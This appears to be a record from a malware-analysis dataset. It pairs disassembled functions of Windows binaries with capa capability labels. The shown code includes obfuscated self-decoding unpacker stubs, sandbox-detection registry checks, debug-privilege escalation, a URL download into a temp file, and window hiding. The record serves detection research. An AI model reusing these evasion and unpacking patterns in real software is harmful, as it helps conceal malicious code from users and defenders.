joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42645f
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x44e310]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
mov edi, dword [ebp + 0xc]
push 0
mov dword [ebp - 0x18], edi
call esi
push 1
mov dword [ebx], eax
call esi
push 0x443ebc
push str.Shell_TrayWnd
mov dword [edi], eax
call dword [sym.imp.USER32.dll_FindWindowW]
test eax, eax
je 0x4264c5
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x10]
cmp eax, 0xc8
jge 0x4264bd
sub dword [edi], eax
jmp 0x4264c5
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
add dword [ebx], eax
cmp dword [ebx], 0
je 0x42651b
cmp dword [edi], 0
je 0x42651b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, dword [ebx]
cdq
and edx, 3
lea ecx, [edx + eax]
xor edx, edx
sar ecx, 2
mov eax, edi
div ecx
mov eax, dword [ebp - 0x18]
mov esi, edx
mov eax, dword [eax]
cdq
and edx, 3
lea ecx, [edx + eax]
xor edx, edx
sar ecx, 2
mov eax, edi
div ecx
mov ecx, dword [ebx]
mov eax, ecx
sub eax, esi
cmp eax, 0x3c0
jle 0x426516
mov dword [ebx], eax
mov eax, dword [ebp - 0x18]
sub dword [eax], edx
jmp 0x42651b
lea eax, [ecx - 0x11]
mov dword [ebx], eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00429eaf
mov esp, ebp
pop ebp
ret 8

Function at 0x4265a5
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x4154
call fcn.00438220
mov eax, dword [0x44e310]
xor eax, esp
mov dword [esp + 0x4150], eax
push ebx
push esi
push edi
mov esi, 0x47a48c
xor ebx, ebx
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4265ec
mov ecx, esi
call fcn.0042526a
jmp 0x4265ee
mov eax, ebx
test eax, eax
je 0x4265f9
xor eax, eax
jmp 0x4266ca
lea ecx, [esp + 0x10]
call fcn.0042555c
lea eax, [esp + 0x10]
push eax
call fcn.00428b2b
xor eax, eax
push 0x1046
mov word [esp + 0x3114], ax
lea eax, [esp + 0x3116]
push ebx
push eax
call fcn.0042e710
add esp, 0xc
call fcn.0042529a
mov esi, eax
cmp esi, 0xffffffff
jne 0x42663c
mov esi, ebx
jmp 0x42663d
inc esi
push esi
push 1
lea eax, [esp + 0x2a]
mov edi, 0x824
push eax
lea eax, [esp + 0x311c]
push edi
push eax
call fcn.0042c614
add esp, 0x14
push esi
call fcn.00425333
push dword [esp + 0x1c]
lea eax, [esp + 0x3114]
mov byte [0x47a460], 1
push dword [esp + 0x1c]
push eax
call fcn.0042652e
lea eax, [esp + 0x1078]
push eax
push edi
push dword [0x47a464]
call fcn.00429ebe
movsd xmm0, qword [esp + 0x107c]
add esp, 0xc
mulsd xmm0, qword [0x44aec8]
push ebx
mulsd xmm0, qword [0x44aeb8]
call fcn.0043cd01
push eax
push 0x7ec
push dword [0x47a458]
call dword [sym.imp.USER32.dll_SetTimer]
mov eax, dword [0x47a458]
mov ecx, dword [esp + 0x415c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00429eaf
mov esp, ebp
pop ebp
ret
Function at 0x426ec3
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, 0x47a6a0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x426eed
mov ecx, esi
call fcn.0042526a
jmp 0x426eef
xor eax, eax
test eax, eax
jne 0x426f95
sub esp, 0xc
call fcn.00426d10
test al, al
je 0x426f8b
push 0x47a698
push 0xffffffffffffffeb
push dword [0x47a698]
call dword [sym.imp.USER32.dll_SetWindowLongW]
call fcn.00426e2b
test al, al
je 0x426f8b
push str.hwnd_ms
push dword [0x47a698]
call dword [sym.imp.gbui.dll_GetPluginByName]
mov esi, eax
push esi
call dword [sym.imp.gbui.dll_Plugin_IsValid]
test eax, eax
je 0x426f8b
push dword [0x47a69c]
mov ecx, dword [esi]
push esi
call dword [ecx + 0x198]
mov ecx, dword [0x475fe8]
test ecx, ecx
je 0x426f6a
mov eax, dword [ecx]
push 0
push dword [ebp + 8]
push dword [0x47a69c]
call dword [eax + 0x34]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 5
push dword [0x47a69c]
call esi
push 5
push dword [0x47a698]
call esi
mov eax, dword [0x47a698]
jmp 0x426f97
mov dword [0x47a440], 1
xor eax, eax
pop esi
pop ebp
ret 4

Function at 0x426ff7
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, ecx
push 0
push dword [esi]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [0x475fe8]
test ecx, ecx
je 0x427016
mov eax, dword [ecx]
push dword [esi + 4]
call dword [eax + 0x68]
mov dword [0x47a448], 1
xor eax, eax
pop esi
ret 0xc

Function at 0x427b8d
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1070
call fcn.00438220
mov eax, dword [0x44e310]
xor eax, esp
mov dword [esp + 0x106c], eax
push ebx
push esi
mov esi, 0x474238
xor ebx, ebx
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x427bd3
mov ecx, esi
call fcn.0042526a
jmp 0x427bd5
mov eax, ebx
test eax, eax
je 0x427bdd
xor eax, eax
jmp 0x427c59
push 0x1000
xorps xmm0, xmm0
mov byte [esp + 0x1c], bl
lea eax, [esp + 0x2c]
movsd qword [esp + 0x24], xmm0
push ebx
push eax
movdqu xmmword [esp + 0x14], xmm0
call fcn.0042e710
add esp, 0xc
lea eax, [esp + 8]
push eax
call fcn.00428c89
push dword [esp + 0x14]
lea eax, [esp + 0x2c]
mov byte [0x474210], 1
push dword [esp + 0x14]
push eax
call fcn.00427adc
movsd xmm0, qword [esp + 0x20]
mulsd xmm0, qword [0x44aec8]
push ebx
mulsd xmm0, qword [0x44aeb8]
call fcn.0043cd01
push eax
push 0x7ec
push dword [0x474208]
call dword [sym.imp.USER32.dll_SetTimer]
mov eax, dword [0x474208]
mov ecx, dword [esp + 0x1074]
pop esi
pop ebx
xor ecx, esp
call fcn.00429eaf
mov esp, ebp
pop ebp
ret
Function at 0x427c6d
Capabilities:
Get common file path
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x44e310]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.0042e710
add esp, 0xc
lea eax, [ebp - 0x20c]
mov edi, 0x104
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str.mshtml.dll
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.0042a175
add esp, 0xc
mov dword [ebp - 0x214], esi
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov ebx, eax
test ebx, ebx
je 0x427d56
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x427d56
push edi
push ebx
push dword [ebp - 0x214]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x427d4f
lea eax, [ebp - 0x210]
mov dword [ebp - 0x218], esi
push eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x210], esi
push eax
push 0x443cc8
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x427d4f
cmp dword [ebp - 0x210], esi
je 0x427d4f
mov eax, dword [ebp - 0x218]
movzx esi, word [eax + 0xa]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00429eaf
mov esp, ebp
pop ebp
ret

Function at 0x427ee9
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x44e310]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x1388000
mov ebx, ecx
push edi
call fcn.0042a219
mov esi, eax
pop ecx
test esi, esi
je 0x427f6c
push edi
xor edi, edi
push edi
push esi
call fcn.0042e710
add esp, 0xc
push edi
push edi
push edi
push edi
push str.GetJSCodeClient
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
je 0x427f6c
xor eax, eax
push eax
push SysReAllocString
push eax
push eax
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, eax
test ebx, ebx
je 0x427f65
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x1388000
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00429eaf
mov esp, ebp
pop ebp
ret
Function at 0x4284b9
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x145c
call fcn.00438220
mov eax, dword [0x44e310]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
push 0x1046
mov word [ebp - 0x145c], ax
xor ebx, ebx
lea eax, [ebp - 0x145a]
push ebx
push eax
call fcn.0042e710
push dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [ebp - 0x145c]
push esi
push str._s_rnd_d
push eax
call fcn.00413e10
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push ebx
push eax
call fcn.0042e710
xor eax, eax
push esi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push ebx
push eax
call fcn.0042e710
add esp, 0x34
lea eax, [ebp - 0x414]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x20c]
push eax
push ebx
push 0x44a9f8
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push ebx
push ebx
lea eax, [ebp - 0x20c]
mov edi, ebx
push eax
lea eax, [ebp - 0x145c]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x428680
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
lea eax, [ebp - 0x20c]
push eax
push ebx
push str.count
push str.config
call esi
push 0x155f4
call fcn.0042a219
mov edi, eax
pop ecx
test edi, edi
je 0x428673
push 0x155f4
push ebx
push edi
call fcn.0042e710
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push ebx
push str.type
mov ebx, str.Config
push ebx
call esi
mov dword [edi], eax
lea eax, [ebp - 0x20c]
push eax
push 0
push str.scope
push ebx
call esi
mov dword [edi + 4], eax
lea eax, [ebp - 0x20c]
push eax
push 0
push str.control
push ebx
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov dword [edi + 8], eax
lea eax, [ebp - 0x20c]
push eax
push 0x1048
lea eax, [edi + 0xc]
push eax
push 0x443ebc
push 0x4498bc
push ebx
call esi
lea eax, [ebp - 0x20c]
mov ebx, 0xa2d0
push eax
push ebx
lea eax, [edi + 0x1054]
push eax
push 0x443ebc
push str.clist
push str.Config
call esi
lea eax, [ebp - 0x20c]
push eax
push ebx
lea eax, [edi + 0xb324]
push eax
push 0x443ebc
push str.mlist
push str.Config
call esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00429eaf
mov esp, ebp
pop ebp
ret 4
Function at 0x428720
Capabilities:
Acquire debug privileges
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
mov eax, dword [0x44e310]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 8]
mov dword [esp + 8], edi
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4287a9
lea eax, [esp + 0xc]
push eax
push str.SeDebugPrivilege
push edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x4287a9
mov eax, dword [esp + 0xc]
push edi
push edi
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x18]
push edi
mov dword [esp + 0x28], eax
lea eax, [esp + 0x20]
push eax
push edi
push dword [esp + 0x1c]
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
cmp dword [esp + 8], edi
je 0x4287b9
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.004284b9
mov esi, eax
test esi, esi
je 0x4287ed
cmp dword [esi + 4], 1
jne 0x4287da
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, esi
mov ecx, eax
call fcn.004283f6
push esi
push 0x428695
call dword [sym.imp.USER32.dll_EnumWindows]
push esi
call fcn.0042a1e1
pop ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esp + 0x24]
pop edi
pop esi
xor ecx, esp
call fcn.00429eaf
mov esp, ebp
pop ebp
ret 4

Function at 0x428806
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x44e310]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 8], 0
lea eax, [ebp - 0x14]
push esi
push eax
push 0x20019
push 0
mov esi, str.SOFTWARE4177SBox
push esi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x428846
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x42884b
mov esi, str.SOFTWARESmalbox
lea eax, [ebp - 0x14]
mov dword [ebp - 0xc], 4
push eax
push 0x20019
push 0
push esi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
pop esi
test eax, eax
jne 0x428893
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push str.Install_Plan
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor eax, eax
cmp dword [ebp - 8], eax
sete al
xor ecx, ebp
call fcn.00429eaf
mov esp, ebp
pop ebp
ret
Function at 0x4294a0
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x340
mov eax, dword [0x44e310]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov dword [ebp - 0x340], eax
mov eax, dword [ebp + 0xc]
push 0x63
mov dword [ebp - 0x33c], eax
lea eax, [ebp - 0x67]
push 0
push eax
mov byte [ebp - 0x68], 0
call fcn.0042e710
push 0x474198
push 0x474140
push 0x47414e
push 0x474148
push 0x474176
push 0x474154
push 0x474192
push 0x47413e
push 0x474138
push 0x474154
push 0x47414e
push 0x474152
push 0x474164
push 0x474154
push 0x474172
push 0x474182
push 0x47418e
push 0x474194
lea eax, [ebp - 0x68]
push str._s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s
push eax
call fcn.004299e0
add esp, 0x5c
xor eax, eax
mov word [ebp - 0x338], ax
push 0x206
push eax
lea eax, [ebp - 0x336]
push eax
call fcn.0042e710
add esp, 0xc
lea eax, [ebp - 0x338]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 2
push 0x104
call fcn.0042e902
mov edi, eax
add esp, 8
test edi, edi
je 0x429694
push 0x208
push 0
push edi
call fcn.0042e710
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x338]
add esp, 0xc
push eax
push edi
call esi
push 0x44ac54
push edi
call esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push dword [ebp - 0x33c]
push edi
call esi
xor eax, eax
push 0xc6
push eax
mov word [ebp - 0x130], ax
lea eax, [ebp - 0x12e]
push eax
call fcn.0042e710
push 0x4741cc
push 0x4741cc
push 0x4741ac
push 0x47409c
push 0x4741d4
push 0x4741d8
push 0x4741d0
push 0x4741cc
push 0x4741e4
push 0x4741f0
lea eax, [ebp - 0x130]
push str._s_s_s_s_s_s_s_s_s_s
push eax
call fcn.00403170
add esp, 0x3c
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x42968b
lea eax, [ebp - 0x68]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x429684
push 0
push 0
push edi
push dword [ebp - 0x340]
push 0
call eax
test eax, eax
jne 0x429684
test ebx, ebx
je 0x42966c
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00429eaf
mov esp, ebp
pop ebp
ret 0xc
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
call fcn.0042a1e1
add esp, 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00429eaf
mov esp, ebp
pop ebp
ret 0xc
Function at 0x429960
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], 0x44
push eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x54], 0
push eax
push 0
push 0
push 0x200
push 0
push 0
push 0
push dword [ebp + 0xc]
mov dword [ebp - 0x50], 0x443ebc
push 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4299d7
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret 0x10
xor al, al
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4326a6
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44e310]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00431d77
mov dword [ebp - 0x14], eax
cmp dword [0x475470], esi
jne 0x432799
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x432726
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x432879
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x432879
push 0x440578
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x432879
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x475470], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x475474], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x475478], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x475480], eax
test eax, eax
je 0x432796
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x47547c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4327be
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4327b1
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4327d3
push 4
pop eax
jmp 0x43287b
cmp dword [ebp - 0x14], esi
je 0x4327d3
push dword [0x475470]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4327b8
mov eax, dword [0x47547c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x432831
cmp dword [0x475480], edi
je 0x432831
push eax
call ebx
push dword [0x475480]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x432831
test eax, eax
je 0x432831
call ecx
test eax, eax
je 0x432826
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x432826
test byte [ebp - 8], 1
jne 0x432831
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x432861
mov eax, dword [0x475474]
cmp eax, edi
je 0x43285e
push eax
call ebx
test eax, eax
je 0x43285e
call eax
mov esi, eax
test esi, esi
je 0x43285e
mov eax, dword [0x475478]
cmp eax, edi
je 0x43285e
push eax
call ebx
test eax, eax
je 0x43285e
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x475470]
call ebx
test eax, eax
je 0x432879
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x43287b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00429eaf
mov esp, ebp
pop ebp
ret
Function at 0x42fb71
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x43757a
call fcn.004339e0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x10], esi
mov dword [esi], 0x43c770
mov dword [esi + 4], 0x43c758
mov dword [esi + 8], ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.004028e9
mov ecx, dword [ebp - 0xc]
mov byte [esi + 0x24], 1
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov byte [esi + 0x4c], bl
mov byte [esi + 0x4d], bl
mov dword [esi], 0x43c73c
mov dword [esi + 4], 0x43c724
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x430a10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x430a1f
pop dword [ebp - 0x44]
mov eax, 0x64c28fe3
add eax, 0x9b807a3c
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3ac23
push 0
mov eax, 0x69aba6ae
sub eax, 0x6968267e
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0xa51aa759
sub ecx, 0xa51a5f1a
xor edi, edi
add edi, eax
mov ebx, 0x44c600
add ebx, dword [ebp - 0x44]
mov edx, 0x3fc79c0b
add edx, 0x3792d49c
add dword [ebp - 0x20], eax
mov esi, dword [ebx]
add dword [ebp - 0x34], 0xf3a9d3bd
add esi, edx
add dword [ebp - 0x18], 0x1bda307e
mov dword [edi], esi
xor dword [ebp - 0x14], edx
add edi, 0xef2e22c9
add edi, 0x10d1dd3b
add ebx, 4
loop 0x430a7a
add eax, 0xd4a18e5b
add eax, 0x2b5f8574
xor ebx, ebx
add ebx, eax
add eax, 0xcee00734
add eax, 0x311ff8d1
mov ecx, 0x25c96e7c
sub ecx, 0x25896e7c
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x433770
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call dword [sym.imp.msvcrt.dll__beginthreadex]
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x433799
xor eax, eax
ret 4
call dword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x4337a8
mov eax, 1
ret 4
Function at 0x10001430
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10003020]
jne 0x1000143a
repz ret
jmp fcn.100017d0

Function at 0x1000148d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1000149c
pop dword [ebp - 0x44]
mov eax, 0x5d65a739
sub eax, 0x4d65929d
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x34f67606
add dword [ebp - 0x54], 0x195bcf45
mov dword [ebp - 0x50], 0x80cdc95f
sub dword [ebp - 0x50], 0x4e9a7d1a
mov dword [ebp - 0x4c], 0x33d8bccb
add dword [ebp - 0x4c], 0x18738763
mov dword [ebp - 0x48], 0x2afb8765
sub dword [ebp - 0x48], 0x2afb8765
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xec04fc24
sub dword [ebp - 0x54], 0x779292ce
mov dword [ebp - 0x50], 0x60a50457
sub dword [ebp - 0x50], 0x1f38a2e2
mov dword [ebp - 0x4c], 0xbdd58790
add dword [ebp - 0x4c], 0xa599e4dc
mov dword [ebp - 0x48], 0x4117d8
sub dword [ebp - 0x48], 0x4117d8
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xf249d78a
sub eax, 0xe249c74a
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x39d27
push 0
call eax
mov ecx, 0x555f
mov ebx, eax
mov esi, 0x6c68e997
add esi, 0xa3976869
add esi, dword [ebp - 0x44]
mov edx, 0x268dccf2
sub edx, 0xc7c55f74
mov dword [ebp - 0x20], 0x4665d487
mov edi, dword [esi]
xor dword [ebp - 0x38], eax
add edi, edx
add dword [ebp - 0x24], edx
mov dword [ebx], edi
xor dword [ebp - 4], ecx
add ebx, 0x3e08a65f
sub ebx, 0x3e08a65b
add esi, 0x34911578
sub esi, 0x34911574
loop 0x100015b3
add eax, 0x87b08787
add eax, 0x7850c0c8
mov ebx, eax
add eax, 0x1887290d
sub eax, 0x18872908
mov ecx, 0x547aa3c7
add ecx, 0xbb855c39
add ecx, dword [ebp - 0x44]
call ebx
leave
ret